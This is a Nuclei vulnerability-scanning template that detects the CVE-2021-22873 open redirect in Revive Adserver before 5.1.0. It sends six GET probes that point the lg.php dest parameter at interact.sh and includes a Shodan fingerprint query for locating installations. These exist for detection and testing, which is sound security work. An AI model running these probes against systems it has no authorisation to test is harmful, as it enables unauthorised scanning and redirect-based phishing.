nuclei-templates/http/cves/2021/CVE-2021-22873.yaml

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id: CVE-2021-22873
info:
name: Revive Adserver <5.1.0 - Open Redirect
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author: pudsec
severity: medium
description: Revive Adserver before 5.1.0 contains an open redirect vulnerability via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://hackerone.com/reports/1081406
- https://github.com/revive-adserver/revive-adserver/issues/1068
- http://seclists.org/fulldisclosure/2021/Jan/60
- https://nvd.nist.gov/vuln/detail/CVE-2021-22873
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- http://packetstormsecurity.com/files/161070/Revive-Adserver-5.0.5-Cross-Site-Scripting-Open-Redirect.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-22873
cwe-id: CWE-601
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epss-score: 0.00717
cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
metadata:
max-request: 6
shodan-query: http.favicon.hash:106844876
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verified: true
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vendor: revive-adserver
product: revive_adserver
tags: hackerone,seclists,packetstorm,cve2021,redirect,revive,cve
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http:
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- method: GET
path:
- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://interact.sh"
- "{{BaseURL}}/www/delivery/lg.php?dest=http://interact.sh"
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stop-at-first-match: true
host-redirects: true
max-redirects: 2
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matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1